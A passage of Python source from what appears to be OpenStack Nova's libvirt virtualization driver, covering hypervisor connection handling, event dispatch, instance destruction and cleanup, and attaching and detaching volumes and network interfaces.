libvirt_firewall.IptablesFirewallDriver.__name__) MAX_CONSOLE_BYTES = 100 * units.Ki # The libvirt driver will prefix any disable reason codes with this string. DISABLE_PREFIX = 'AUTO: ' # Disable reason for the service which was enabled or disabled without reason DISABLE_REASON_UNDEFINED = 'None' def patch_tpool_proxy(): """eventlet.tpool.Proxy doesn't work with old-style class in __str__() or __repr__() calls. See bug #962840 for details. We perform a monkey patch to replace those two instance methods. """ def str_method(self): return str(self._obj) def repr_method(self): return repr(self._obj) tpool.Proxy.__str__ = str_method tpool.Proxy.__repr__ = repr_method patch_tpool_proxy() VIR_DOMAIN_NOSTATE = 0 VIR_DOMAIN_RUNNING = 1 VIR_DOMAIN_BLOCKED = 2 VIR_DOMAIN_PAUSED = 3 VIR_DOMAIN_SHUTDOWN = 4 VIR_DOMAIN_SHUTOFF = 5 VIR_DOMAIN_CRASHED = 6 VIR_DOMAIN_PMSUSPENDED = 7 LIBVIRT_POWER_STATE = { VIR_DOMAIN_NOSTATE: power_state.NOSTATE, VIR_DOMAIN_RUNNING: power_state.RUNNING, # NOTE(maoy): The DOMAIN_BLOCKED state is only valid in Xen. # It means that the VM is running and the vCPU is idle. So, # we map it to RUNNING VIR_DOMAIN_BLOCKED: power_state.RUNNING, VIR_DOMAIN_PAUSED: power_state.PAUSED, # NOTE(maoy): The libvirt API doc says that DOMAIN_SHUTDOWN # means the domain is being shut down. So technically the domain # is still running. SHUTOFF is the real powered off state. # But we will map both to SHUTDOWN anyway. # http://libvirt.org/html/libvirt-libvirt.html VIR_DOMAIN_SHUTDOWN: power_state.SHUTDOWN, VIR_DOMAIN_SHUTOFF: power_state.SHUTDOWN, VIR_DOMAIN_CRASHED: power_state.CRASHED, VIR_DOMAIN_PMSUSPENDED: power_state.SUSPENDED, } MIN_LIBVIRT_VERSION = (0, 9, 6) # When the above version matches/exceeds this version # delete it & corresponding code using it MIN_LIBVIRT_HOST_CPU_VERSION = (0, 9, 10) MIN_LIBVIRT_DEVICE_CALLBACK_VERSION = (1, 1, 1) # Live snapshot requirements REQ_HYPERVISOR_LIVESNAPSHOT = "QEMU" MIN_LIBVIRT_LIVESNAPSHOT_VERSION = (1, 0, 0) MIN_QEMU_LIVESNAPSHOT_VERSION = (1, 3, 0) # block size tuning requirements MIN_LIBVIRT_BLOCKIO_VERSION = (0, 10, 2) # BlockJobInfo management requirement MIN_LIBVIRT_BLOCKJOBINFO_VERSION = (1, 1, 1) def libvirt_error_handler(context, err): # Just ignore instead of default outputting to stderr. pass class LibvirtDriver(driver.ComputeDriver): capabilities = { "has_imagecache": True, "supports_recreate": True, } def __init__(self, virtapi, read_only=False): super(LibvirtDriver, self).__init__(virtapi) global libvirt if libvirt is None: libvirt = __import__('libvirt') self._host_state = None self._initiator = None self._fc_wwnns = None self._fc_wwpns = None self._wrapped_conn = None self._wrapped_conn_lock = threading.Lock() self._caps = None self._vcpu_total = 0 self.read_only = read_only self.firewall_driver = firewall.load_driver( DEFAULT_FIREWALL_DRIVER, self.virtapi, get_connection=self._get_connection) vif_class = importutils.import_class(CONF.libvirt.vif_driver) self.vif_driver = vif_class(self._get_connection) self.volume_drivers = driver.driver_dict_from_config( CONF.libvirt.volume_drivers, self) self.dev_filter = pci_whitelist.get_pci_devices_filter() self._event_queue = None self._disk_cachemode = None self.image_cache_manager = imagecache.ImageCacheManager() self.image_backend = imagebackend.Backend(CONF.use_cow_images) self.disk_cachemodes = {} self.valid_cachemodes = ["default", "none", "writethrough", "writeback", "directsync", "unsafe", ] for mode_str in CONF.libvirt.disk_cachemodes: disk_type, sep, cache_mode = mode_str.partition('=') if cache_mode not in self.valid_cachemodes: LOG.warn(_('Invalid cachemode %(cache_mode)s specified ' 'for disk type %(disk_type)s.'), {'cache_mode': cache_mode, 'disk_type': disk_type}) continue self.disk_cachemodes[disk_type] = cache_mode self._volume_api = volume.API() @property def disk_cachemode(self): if self._disk_cachemode is None: # We prefer 'none' for consistent performance, host crash # safety & migration correctness by avoiding host page cache. # Some filesystems (eg GlusterFS via FUSE) don't support # O_DIRECT though. For those we fallback to 'writethrough' # which gives host crash safety, and is safe for migration # provided the filesystem is cache coherent (cluster filesystems # typically are, but things like NFS are not). self._disk_cachemode = "none" if not self._supports_direct_io(CONF.instances_path): self._disk_cachemode = "writethrough" return self._disk_cachemode @property def host_state(self): if not self._host_state: self._host_state = HostState(self) return self._host_state def set_cache_mode(self, conf): """Set cache mode on LibvirtConfigGuestDisk object.""" try: source_type = conf.source_type driver_cache = conf.driver_cache except AttributeError: return cache_mode = self.disk_cachemodes.get(source_type, driver_cache) conf.driver_cache = cache_mode @staticmethod def _has_min_version(conn, lv_ver=None, hv_ver=None, hv_type=None): try: if lv_ver is not None: libvirt_version = conn.getLibVersion() if libvirt_version < utils.convert_version_to_int(lv_ver): return False if hv_ver is not None: hypervisor_version = conn.getVersion() if hypervisor_version < utils.convert_version_to_int(hv_ver): return False if hv_type is not None: hypervisor_type = conn.getType() if hypervisor_type != hv_type: return False return True except Exception: return False def has_min_version(self, lv_ver=None, hv_ver=None, hv_type=None): return self._has_min_version(self._conn, lv_ver, hv_ver, hv_type) def _native_thread(self): """Receives async events coming in from libvirtd. This is a native thread which runs the default libvirt event loop implementation. This processes any incoming async events from libvirtd and queues them for later dispatch. This thread is only permitted to use libvirt python APIs, and the driver.queue_event method. In particular any use of logging is forbidden, since it will confuse eventlet's greenthread integration """ while True: libvirt.virEventRunDefaultImpl() def _dispatch_thread(self): """Dispatches async events coming in from libvirtd. This is a green thread which waits for events to arrive from the libvirt event loop thread. This then dispatches the events to the compute manager. """ while True: self._dispatch_events() @staticmethod def _event_lifecycle_callback(conn, dom, event, detail, opaque): """Receives lifecycle events from libvirt. NB: this method is executing in a native thread, not an eventlet coroutine. It can only invoke other libvirt APIs, or use self.queue_event(). Any use of logging APIs in particular is forbidden. """ self = opaque uuid = dom.UUIDString() transition = None if event == libvirt.VIR_DOMAIN_EVENT_STOPPED: transition = virtevent.EVENT_LIFECYCLE_STOPPED elif event == libvirt.VIR_DOMAIN_EVENT_STARTED: transition = virtevent.EVENT_LIFECYCLE_STARTED elif event == libvirt.VIR_DOMAIN_EVENT_SUSPENDED: transition = virtevent.EVENT_LIFECYCLE_PAUSED elif event == libvirt.VIR_DOMAIN_EVENT_RESUMED: transition = virtevent.EVENT_LIFECYCLE_RESUMED if transition is not None: self._queue_event(virtevent.LifecycleEvent(uuid, transition)) def _queue_event(self, event): """Puts an event on the queue for dispatch. This method is called by the native event thread to put events on the queue for later dispatch by the green thread. Any use of logging APIs is forbidden. """ if self._event_queue is None: return # Queue the event... self._event_queue.put(event) # ...then wakeup the green thread to dispatch it c = ' '.encode() self._event_notify_send.write(c) self._event_notify_send.flush() def _dispatch_events(self): """Wait for & dispatch events from native thread Blocks until native thread indicates some events are ready. Then dispatches all queued events. """ # Wait to be notified that there are some # events pending try: _c = self._event_notify_recv.read(1) assert _c except ValueError: return # will be raised when pipe is closed # Process as many events as possible without # blocking last_close_event = None while not self._event_queue.empty(): try: event = self._event_queue.get(block=False) if isinstance(event, virtevent.LifecycleEvent): self.emit_event(event) elif 'conn' in event and 'reason' in event: last_close_event = event except native_Queue.Empty: pass if last_close_event is None: return conn = last_close_event['conn'] # get_new_connection may already have disabled the host, # in which case _wrapped_conn is None. with self._wrapped_conn_lock: if conn == self._wrapped_conn: reason = last_close_event['reason'] _error = _("Connection to libvirt lost: %s") % reason LOG.warn(_error) self._wrapped_conn = None # Disable compute service to avoid # new instances of being scheduled on this host. self._set_host_enabled(False, disable_reason=_error) def _init_events_pipe(self): """Create a self-pipe for the native thread to synchronize on. This code is taken from the eventlet tpool module, under terms of the Apache License v2.0. """ self._event_queue = native_Queue.Queue() try: rpipe, wpipe = os.pipe() self._event_notify_send = greenio.GreenPipe(wpipe, 'wb', 0) self._event_notify_recv = greenio.GreenPipe(rpipe, 'rb', 0) except (ImportError, NotImplementedError): # This is Windows compatibility -- use a socket instead # of a pipe because pipes don't really exist on Windows. sock = eventlet_util.__original_socket__(socket.AF_INET, socket.SOCK_STREAM) sock.bind(('localhost', 0)) sock.listen(50) csock = eventlet_util.__original_socket__(socket.AF_INET, socket.SOCK_STREAM) csock.connect(('localhost', sock.getsockname()[1])) nsock, addr = sock.accept() self._event_notify_send = nsock.makefile('wb', 0) gsock = greenio.GreenSocket(csock) self._event_notify_recv = gsock.makefile('rb', 0) def _init_events(self): """Initializes the libvirt events subsystem. This requires running a native thread to provide the libvirt event loop integration. This forwards events to a green thread which does the actual dispatching. """ self._init_events_pipe() LOG.debug(_("Starting native event thread")) event_thread = native_threading.Thread(target=self._native_thread) event_thread.setDaemon(True) event_thread.start() LOG.debug(_("Starting green dispatch thread")) eventlet.spawn(self._dispatch_thread) def _do_quality_warnings(self): """Warn about untested driver configurations. This will log a warning message about untested driver or host arch configurations to indicate to administrators that the quality is unknown. Currently, only qemu or kvm on intel 32- or 64-bit systems is tested upstream. """ caps = self.get_host_capabilities() arch = caps.host.cpu.arch if (CONF.libvirt.virt_type not in ('qemu', 'kvm') or arch not in ('i686', 'x86_64')): LOG.warning(_('The libvirt driver is not tested on ' '%(type)s/%(arch)s by the OpenStack project and ' 'thus its quality can not be ensured. For more ' 'information, see: https://wiki.openstack.org/wiki/' 'HypervisorSupportMatrix'), {'type': CONF.libvirt.virt_type, 'arch': arch}) def init_host(self, host): self._do_quality_warnings() libvirt.registerErrorHandler(libvirt_error_handler, None) libvirt.virEventRegisterDefaultImpl() if not self.has_min_version(MIN_LIBVIRT_VERSION): major = MIN_LIBVIRT_VERSION[0] minor = MIN_LIBVIRT_VERSION[1] micro = MIN_LIBVIRT_VERSION[2] LOG.error(_('Nova requires libvirt version ' '%(major)i.%(minor)i.%(micro)i or greater.'), {'major': major, 'minor': minor, 'micro': micro}) self._init_events() def _get_new_connection(self): # call with _wrapped_conn_lock held LOG.debug(_('Connecting to libvirt: %s'), self.uri()) wrapped_conn = None try: wrapped_conn = self._connect(self.uri(), self.read_only) finally: # Enabling the compute service, in case it was disabled # since the connection was successful. disable_reason = DISABLE_REASON_UNDEFINED if not wrapped_conn: disable_reason = 'Failed to connect to libvirt' self._set_host_enabled(bool(wrapped_conn), disable_reason) self._wrapped_conn = wrapped_conn try: LOG.debug(_("Registering for lifecycle events %s"), self) wrapped_conn.domainEventRegisterAny( None, libvirt.VIR_DOMAIN_EVENT_ID_LIFECYCLE, self._event_lifecycle_callback, self) except Exception as e: LOG.warn(_("URI %(uri)s does not support events: %(error)s"), {'uri': self.uri(), 'error': e}) try: LOG.debug(_("Registering for connection events: %s") % str(self)) wrapped_conn.registerCloseCallback(self._close_callback, None) except (TypeError, AttributeError) as e: # NOTE: The registerCloseCallback of python-libvirt 1.0.1+ # is defined with 3 arguments, and the above registerClose- # Callback succeeds. However, the one of python-libvirt 1.0.0 # is defined with 4 arguments and TypeError happens here. # Then python-libvirt 0.9 does not define a method register- # CloseCallback. LOG.debug(_("The version of python-libvirt does not support " "registerCloseCallback or is too old: %s"), e) except libvirt.libvirtError as e: LOG.warn(_("URI %(uri)s does not support connection" " events: %(error)s"), {'uri': self.uri(), 'error': e}) return wrapped_conn def _get_connection(self): # multiple concurrent connections are protected by _wrapped_conn_lock with self._wrapped_conn_lock: wrapped_conn = self._wrapped_conn if not wrapped_conn or not self._test_connection(wrapped_conn): wrapped_conn = self._get_new_connection() return wrapped_conn _conn = property(_get_connection) def _close_callback(self, conn, reason, opaque): close_info = {'conn': conn, 'reason': reason} self._queue_event(close_info) @staticmethod def _test_connection(conn): try: conn.getLibVersion() return True except libvirt.libvirtError as e: if (e.get_error_code() in (libvirt.VIR_ERR_SYSTEM_ERROR, libvirt.VIR_ERR_INTERNAL_ERROR) and e.get_error_domain() in (libvirt.VIR_FROM_REMOTE, libvirt.VIR_FROM_RPC)): LOG.debug(_('Connection to libvirt broke')) return False raise @staticmethod def uri(): if CONF.libvirt.virt_type == 'uml': uri = CONF.libvirt.connection_uri or 'uml:///system' elif CONF.libvirt.virt_type == 'xen': uri = CONF.libvirt.connection_uri or 'xen:///' elif CONF.libvirt.virt_type == 'lxc': uri = CONF.libvirt.connection_uri or 'lxc:///' else: uri = CONF.libvirt.connection_uri or 'qemu:///system' return uri @staticmethod def _connect(uri, read_only): def _connect_auth_cb(creds, opaque): if len(creds) == 0: return 0 LOG.warning( _("Can not handle authentication request for %d credentials") % len(creds)) raise exception.NovaException( _("Can not handle authentication request for %d credentials") % len(creds)) auth = [[libvirt.VIR_CRED_AUTHNAME, libvirt.VIR_CRED_ECHOPROMPT, libvirt.VIR_CRED_REALM, libvirt.VIR_CRED_PASSPHRASE, libvirt.VIR_CRED_NOECHOPROMPT, libvirt.VIR_CRED_EXTERNAL], _connect_auth_cb, None] try: flags = 0 if read_only: flags = libvirt.VIR_CONNECT_RO # tpool.proxy_call creates a native thread. Due to limitations # with eventlet locking we cannot use the logging API inside # the called function. return tpool.proxy_call( (libvirt.virDomain, libvirt.virConnect), libvirt.openAuth, uri, auth, flags) except libvirt.libvirtError as ex: LOG.exception(_("Connection to libvirt failed: %s"), ex) payload = dict(ip=LibvirtDriver.get_host_ip_addr(), method='_connect', reason=ex) rpc.get_notifier('compute').error(nova_context.get_admin_context(), 'compute.libvirt.error', payload) raise exception.HypervisorUnavailable(host=CONF.host) def get_num_instances(self): """Efficient override of base instance_exists method.""" return self._conn.numOfDomains() def instance_exists(self, instance_name): """Efficient override of base instance_exists method.""" try: self._lookup_by_name(instance_name) return True except exception.NovaException: return False # TODO(Shrews): Remove when libvirt Bugzilla bug # 836647 is fixed. def list_instance_ids(self): if self._conn.numOfDomains() == 0: return [] return self._conn.listDomainsID() def list_instances(self): names = [] for domain_id in self.list_instance_ids(): try: # We skip domains with ID 0 (hypervisors). if domain_id != 0: domain = self._lookup_by_id(domain_id) names.append(domain.name()) except exception.InstanceNotFound: # Ignore deleted instance while listing continue # extend instance list to contain also defined domains names.extend([vm for vm in self._conn.listDefinedDomains() if vm not in names]) return names def list_instance_uuids(self): uuids = set() for domain_id in self.list_instance_ids(): try: # We skip domains with ID 0 (hypervisors). if domain_id != 0: domain = self._lookup_by_id(domain_id) uuids.add(domain.UUIDString()) except exception.InstanceNotFound: # Ignore deleted instance while listing continue # extend instance list to contain also defined domains for domain_name in self._conn.listDefinedDomains(): try: uuids.add(self._lookup_by_name(domain_name).UUIDString()) except exception.InstanceNotFound: # Ignore deleted instance while listing continue return list(uuids) def plug_vifs(self, instance, network_info): """Plug VIFs into networks.""" for vif in network_info: self.vif_driver.plug(instance, vif) def unplug_vifs(self, instance, network_info): """Unplug VIFs from networks.""" for vif in network_info: self.vif_driver.unplug(instance, vif) def _teardown_container(self, instance): inst_path = libvirt_utils.get_instance_path(instance) container_dir = os.path.join(inst_path, 'rootfs') container_root_device = instance.get('root_device_name') disk.teardown_container(container_dir, container_root_device) def _destroy(self, instance): try: virt_dom = self._lookup_by_name(instance['name']) except exception.InstanceNotFound: virt_dom = None # If the instance is already terminated, we're still happy # Otherwise, destroy it old_domid = -1 if virt_dom is not None: try: old_domid = virt_dom.ID() virt_dom.destroy() # NOTE(GuanQiang): teardown container to avoid resource leak if CONF.libvirt.virt_type == 'lxc': self._teardown_container(instance) except libvirt.libvirtError as e: is_okay = False errcode = e.get_error_code() if errcode == libvirt.VIR_ERR_OPERATION_INVALID: # If the instance is already shut off, we get this: # Code=55 Error=Requested operation is not valid: # domain is not running (state, _max_mem, _mem, _cpus, _t) = virt_dom.info() state = LIBVIRT_POWER_STATE[state] if state == power_state.SHUTDOWN: is_okay = True elif errcode == libvirt.VIR_ERR_OPERATION_TIMEOUT: LOG.warn(_("Cannot destroy instance, operation time out"), instance=instance) reason = _("operation time out") raise exception.InstancePowerOffFailure(reason=reason) if not is_okay: with excutils.save_and_reraise_exception(): LOG.error(_('Error from libvirt during destroy. ' 'Code=%(errcode)s Error=%(e)s'), {'errcode': errcode, 'e': e}, instance=instance) def _wait_for_destroy(expected_domid): """Called at an interval until the VM is gone.""" # NOTE(vish): If the instance disappears during the destroy # we ignore it so the cleanup can still be # attempted because we would prefer destroy to # never fail. try: dom_info = self.get_info(instance) state = dom_info['state'] new_domid = dom_info['id'] except exception.InstanceNotFound: LOG.error(_("During wait destroy, instance disappeared."), instance=instance) raise loopingcall.LoopingCallDone() if state == power_state.SHUTDOWN: LOG.info(_("Instance destroyed successfully."), instance=instance) raise loopingcall.LoopingCallDone() # NOTE(wangpan): If the instance was booted again after destroy, # this may be a endless loop, so check the id of # domain here, if it changed and the instance is # still running, we should destroy it again. # see https://bugs.launchpad.net/nova/+bug/1111213 for more details if new_domid != expected_domid: LOG.info(_("Instance may be started again."), instance=instance) kwargs['is_running'] = True raise loopingcall.LoopingCallDone() kwargs = {'is_running': False} timer = loopingcall.FixedIntervalLoopingCall(_wait_for_destroy, old_domid) timer.start(interval=0.5).wait() if kwargs['is_running']: LOG.info(_("Going to destroy instance again."), instance=instance) self._destroy(instance) def destroy(self, context, instance, network_info, block_device_info=None, destroy_disks=True): self._destroy(instance) self.cleanup(context, instance, network_info, block_device_info, destroy_disks) def _undefine_domain(self, instance): try: virt_dom = self._lookup_by_name(instance['name']) except exception.InstanceNotFound: virt_dom = None if virt_dom: try: try: virt_dom.undefineFlags( libvirt.VIR_DOMAIN_UNDEFINE_MANAGED_SAVE) except libvirt.libvirtError: LOG.debug(_("Error from libvirt during undefineFlags." " Retrying with undefine"), instance=instance) virt_dom.undefine() except AttributeError: # NOTE(vish): Older versions of libvirt don't support # undefine flags, so attempt to do the # right thing. try: if virt_dom.hasManagedSaveImage(0): virt_dom.managedSaveRemove(0) except AttributeError: pass virt_dom.undefine() except libvirt.libvirtError as e: with excutils.save_and_reraise_exception(): errcode = e.get_error_code() LOG.error(_('Error from libvirt during undefine. ' 'Code=%(errcode)s Error=%(e)s') % {'errcode': errcode, 'e': e}, instance=instance) def cleanup(self, context, instance, network_info, block_device_info=None, destroy_disks=True): self._undefine_domain(instance) self.unplug_vifs(instance, network_info) retry = True while retry: try: self.firewall_driver.unfilter_instance(instance, network_info=network_info) except libvirt.libvirtError as e: try: state = self.get_info(instance)['state'] except exception.InstanceNotFound: state = power_state.SHUTDOWN if state != power_state.SHUTDOWN: LOG.warn(_("Instance may be still running, destroy " "it again."), instance=instance) self._destroy(instance) else: retry = False errcode = e.get_error_code() LOG.exception(_('Error from libvirt during unfilter. ' 'Code=%(errcode)s Error=%(e)s') % {'errcode': errcode, 'e': e}, instance=instance) reason = "Error unfiltering instance." raise exception.InstanceTerminationFailure(reason=reason) except Exception: retry = False raise else: retry = False # FIXME(wangpan): if the instance is booted again here, such as the # the soft reboot operation boot it here, it will # become "running deleted", should we check and destroy # it at the end of this method? # NOTE(vish): we disconnect from volumes regardless block_device_mapping = driver.block_device_info_get_mapping( block_device_info) for vol in block_device_mapping: connection_info = vol['connection_info'] disk_dev = vol['mount_device'].rpartition("/")[2] if ('data' in connection_info and 'volume_id' in connection_info['data']): volume_id = connection_info['data']['volume_id'] encryption = encryptors.get_encryption_metadata( context, self._volume_api, volume_id, connection_info) if encryption: # The volume must be detached from the VM before # disconnecting it from its encryptor. Otherwise, the # encryptor may report that the volume is still in use. encryptor = self._get_volume_encryptor(connection_info, encryption) encryptor.detach_volume(**encryption) try: self.volume_driver_method('disconnect_volume', connection_info, disk_dev) except Exception as exc: with excutils.save_and_reraise_exception() as ctxt: if destroy_disks: # Don't block on Volume errors if we're trying to # delete the instance as we may be patially created # or deleted ctxt.reraise = False LOG.warn(_("Ignoring Volume Error on vol %(vol_id)s " "during delete %(exc)s"), {'vol_id': vol.get('volume_id'), 'exc': exc}, instance=instance) if destroy_disks: self._delete_instance_files(instance) self._cleanup_lvm(instance) #NOTE(haomai): destroy volumes if needed if CONF.libvirt.images_type == 'rbd': self._cleanup_rbd(instance) def _cleanup_rbd(self, instance): pool = CONF.libvirt.images_rbd_pool volumes = libvirt_utils.list_rbd_volumes(pool) pattern = instance['uuid'] def belongs_to_instance(disk): return disk.startswith(pattern) volumes = filter(belongs_to_instance, volumes) if volumes: libvirt_utils.remove_rbd_volumes(pool, *volumes) def _cleanup_lvm(self, instance): """Delete all LVM disks for given instance object.""" disks = self._lvm_disks(instance) if disks: libvirt_utils.remove_logical_volumes(*disks) def _lvm_disks(self, instance): """Returns all LVM disks for given instance object.""" if CONF.libvirt.images_volume_group: vg = os.path.join('/dev', CONF.libvirt.images_volume_group) if not os.path.exists(vg): return [] pattern = '%s_' % instance['uuid'] # TODO(sdague): remove in Juno def belongs_to_instance_legacy(disk): # We don't want to leak old disks, but at the same time, we # don't want to do an unsafe thing. So we will only handle # the old filter if it's the system default still. pattern = '%s_' % instance['name'] if disk.startswith(pattern): if CONF.instance_name_template == 'instance-%08x': return True else: LOG.warning(_('Volume %(disk)s possibly unsafe to ' 'remove, please clean up manually'), {'disk': disk}) return False def belongs_to_instance(disk): return disk.startswith(pattern) def fullpath(name): return os.path.join(vg, name) logical_volumes = libvirt_utils.list_logical_volumes(vg) disk_names = filter(belongs_to_instance, logical_volumes) # TODO(sdague): remove in Juno disk_names.extend( filter(belongs_to_instance_legacy, logical_volumes) ) disks = map(fullpath, disk_names) return disks return [] def get_volume_connector(self, instance): if not self._initiator: self._initiator = libvirt_utils.get_iscsi_initiator() if not self._initiator: LOG.debug(_('Could not determine iscsi initiator name'), instance=instance) if not self._fc_wwnns: self._fc_wwnns = libvirt_utils.get_fc_wwnns() if not self._fc_wwnns or len(self._fc_wwnns) == 0: LOG.debug(_('Could not determine fibre channel ' 'world wide node names'), instance=instance) if not self._fc_wwpns: self._fc_wwpns = libvirt_utils.get_fc_wwpns() if not self._fc_wwpns or len(self._fc_wwpns) == 0: LOG.debug(_('Could not determine fibre channel ' 'world wide port names'), instance=instance) connector = {'ip': CONF.my_ip, 'host': CONF.host} if self._initiator: connector['initiator'] = self._initiator if self._fc_wwnns and self._fc_wwpns: connector["wwnns"] = self._fc_wwnns connector["wwpns"] = self._fc_wwpns return connector def _cleanup_resize(self, instance, network_info): target = libvirt_utils.get_instance_path(instance) + "_resize" if os.path.exists(target): # Deletion can fail over NFS, so retry the deletion as required. # Set maximum attempt as 5, most test can remove the directory # for the second time. utils.execute('rm', '-rf', target, delay_on_retry=True, attempts=5) if instance['host'] != CONF.host: self._undefine_domain(instance) self.unplug_vifs(instance, network_info) self.firewall_driver.unfilter_instance(instance, network_info) def volume_driver_method(self, method_name, connection_info, *args, **kwargs): driver_type = connection_info.get('driver_volume_type') if driver_type not in self.volume_drivers: raise exception.VolumeDriverNotFound(driver_type=driver_type) driver = self.volume_drivers[driver_type] method = getattr(driver, method_name) return method(connection_info, *args, **kwargs) def _get_volume_encryptor(self, connection_info, encryption): encryptor = encryptors.get_volume_encryptor(connection_info, **encryption) return encryptor def attach_volume(self, context, connection_info, instance, mountpoint, disk_bus=None, device_type=None, encryption=None): instance_name = instance['name'] virt_dom = self._lookup_by_name(instance_name) disk_dev = mountpoint.rpartition("/")[2] bdm = { 'device_name': disk_dev, 'disk_bus': disk_bus, 'device_type': device_type} # Note(cfb): If the volume has a custom block size, check that # that we are using QEMU/KVM and libvirt >= 0.10.2. The # presence of a block size is considered mandatory by # cinder so we fail if we can't honor the request. data = {} if ('data' in connection_info): data = connection_info['data'] if ('logical_block_size' in data or 'physical_block_size' in data): if ((CONF.libvirt.virt_type != "kvm" and CONF.libvirt.virt_type != "qemu")): msg = _("Volume sets block size, but the current " "libvirt hypervisor '%s' does not support custom " "block size") % CONF.libvirt.virt_type raise exception.InvalidHypervisorType(msg) if not self.has_min_version(MIN_LIBVIRT_BLOCKIO_VERSION): ver = ".".join([str(x) for x in MIN_LIBVIRT_BLOCKIO_VERSION]) msg = _("Volume sets block size, but libvirt '%s' or later is " "required.") % ver raise exception.Invalid(msg) disk_info = blockinfo.get_info_from_bdm(CONF.libvirt.virt_type, bdm) conf = self.volume_driver_method('connect_volume', connection_info, disk_info) self.set_cache_mode(conf) try: # NOTE(vish): We can always affect config because our # domains are persistent, but we should only # affect live if the domain is running. flags = libvirt.VIR_DOMAIN_AFFECT_CONFIG state = LIBVIRT_POWER_STATE[virt_dom.info()[0]] if state == power_state.RUNNING: flags |= libvirt.VIR_DOMAIN_AFFECT_LIVE # cache device_path in connection_info -- required by encryptors if 'data' in connection_info: connection_info['data']['device_path'] = conf.source_path if encryption: encryptor = self._get_volume_encryptor(connection_info, encryption) encryptor.attach_volume(context, **encryption) virt_dom.attachDeviceFlags(conf.to_xml(), flags) except Exception as ex: if isinstance(ex, libvirt.libvirtError): errcode = ex.get_error_code() if errcode == libvirt.VIR_ERR_OPERATION_FAILED: self.volume_driver_method('disconnect_volume', connection_info, disk_dev) raise exception.DeviceIsBusy(device=disk_dev) with excutils.save_and_reraise_exception(): self.volume_driver_method('disconnect_volume', connection_info, disk_dev) def _swap_volume(self, domain, disk_path, new_path): """Swap existing disk with a new block device.""" # Save a copy of the domain's running XML file xml = domain.XMLDesc(0) # Abort is an idempotent operation, so make sure any block # jobs which may have failed are ended. try: domain.blockJobAbort(disk_path, 0) except Exception: pass try: # NOTE (rmk): blockRebase cannot be executed on persistent # domains, so we need to temporarily undefine it. # If any part of this block fails, the domain is # re-defined regardless. if domain.isPersistent(): domain.undefine() # Start copy with VIR_DOMAIN_REBASE_REUSE_EXT flag to # allow writing to existing external volume file domain.blockRebase(disk_path, new_path, 0, libvirt.VIR_DOMAIN_BLOCK_REBASE_COPY | libvirt.VIR_DOMAIN_BLOCK_REBASE_REUSE_EXT) while self._wait_for_block_job(domain, disk_path): time.sleep(0.5) domain.blockJobAbort(disk_path, libvirt.VIR_DOMAIN_BLOCK_JOB_ABORT_PIVOT) finally: self._conn.defineXML(xml) def swap_volume(self, old_connection_info, new_connection_info, instance, mountpoint): instance_name = instance['name'] virt_dom = self._lookup_by_name(instance_name) disk_dev = mountpoint.rpartition("/")[2] xml = self._get_disk_xml(virt_dom.XMLDesc(0), disk_dev) if not xml: raise exception.DiskNotFound(location=disk_dev) disk_info = { 'dev': disk_dev, 'bus': blockinfo.get_disk_bus_for_disk_dev( CONF.libvirt.virt_type, disk_dev), 'type': 'disk', } conf = self.volume_driver_method('connect_volume', new_connection_info, disk_info) if not conf.source_path: self.volume_driver_method('disconnect_volume', new_connection_info, disk_dev) raise NotImplementedError(_("Swap only supports host devices")) self._swap_volume(virt_dom, disk_dev, conf.source_path) self.volume_driver_method('disconnect_volume', old_connection_info, disk_dev) @staticmethod def _get_disk_xml(xml, device): """Returns the xml for the disk mounted at device.""" try: doc = etree.fromstring(xml) except Exception: return None ret = doc.findall('./devices/disk') for node in ret: for child in node.getchildren(): if child.tag == 'target': if child.get('dev') == device: return etree.tostring(node) def _get_existing_domain_xml(self, instance, network_info, block_device_info=None): try: virt_dom = self._lookup_by_name(instance['name']) xml = virt_dom.XMLDesc(0) except exception.InstanceNotFound: disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance, block_device_info) xml = self.to_xml(nova_context.get_admin_context(), instance, network_info, disk_info, block_device_info=block_device_info) return xml def detach_volume(self, connection_info, instance, mountpoint, encryption=None): instance_name = instance['name'] disk_dev = mountpoint.rpartition("/")[2] try: virt_dom = self._lookup_by_name(instance_name) xml = self._get_disk_xml(virt_dom.XMLDesc(0), disk_dev) if not xml: raise exception.DiskNotFound(location=disk_dev) else: # NOTE(vish): We can always affect config because our # domains are persistent, but we should only # affect live if the domain is running. flags = libvirt.VIR_DOMAIN_AFFECT_CONFIG state = LIBVIRT_POWER_STATE[virt_dom.info()[0]] if state == power_state.RUNNING: flags |= libvirt.VIR_DOMAIN_AFFECT_LIVE virt_dom.detachDeviceFlags(xml, flags) if encryption: # The volume must be detached from the VM before # disconnecting it from its encryptor. Otherwise, the # encryptor may report that the volume is still in use. encryptor = self._get_volume_encryptor(connection_info, encryption) encryptor.detach_volume(**encryption) except libvirt.libvirtError as ex: # NOTE(vish): This is called to cleanup volumes after live # migration, so we should still disconnect even if # the instance doesn't exist here anymore. error_code = ex.get_error_code() if error_code == libvirt.VIR_ERR_NO_DOMAIN: # NOTE(vish): LOG.warn(_("During detach_volume, instance disappeared.")) else: raise self.volume_driver_method('disconnect_volume', connection_info, disk_dev) def attach_interface(self, instance, image_meta, vif): virt_dom = self._lookup_by_name(instance['name']) flavor = flavor_obj.Flavor.get_by_id( nova_context.get_admin_context(read_deleted='yes'), instance['instance_type_id']) self.vif_driver.plug(instance, vif) self.firewall_driver.setup_basic_filtering(instance, [vif]) cfg = self.vif_driver.get_config(instance, vif, image_meta, flavor) try: flags = libvirt.VIR_DOMAIN_AFFECT_CONFIG state = LIBVIRT_POWER_STATE[virt_dom.info()[0]] if state == power_state.RUNNING: flags |= libvirt.VIR_DOMAIN_AFFECT_LIVE virt_dom.attachDeviceFlags(cfg.to_xml(), flags) except libvirt.libvirtError: LOG.error(_('attaching network adapter failed.'), instance=instance) self.vif_driver.unplug(instance, vif) raise exception.InterfaceAttachFailed(instance) def detach_interface(self, instance, vif): virt_dom = self._lookup_by_name(instance['name']) flavor = flavor_obj.Flavor.get_by_id( nova_context.get_admin_context(read_deleted='yes'), instance['instance_type_id']) cfg = self.vif_driver.get_config(instance, vif, None, flavor) try: self.vif_driver.unplug(instance, vif) flags = libvirt.VIR_DOMAIN_AFFECT_CONFIG state = LIBVIRT_POWER_STATE[virt_dom.info()[0]] if state == power_state.RUNNING: flags |= libvirt.VIR_DOMAIN_AFFECT_LIVE virt_dom.detachDeviceFlags(cfg.to_xml(), flags) except libvirt.libvirtError as ex: error_code = ex.get_error_code() if error_code == libvirt.VIR_ERR_NO_DOMAIN: LOG.warn(_("During detach_interface, " "instance disappeared."), instance=instance) else: LOG.error(_('detaching network adapter failed.'), 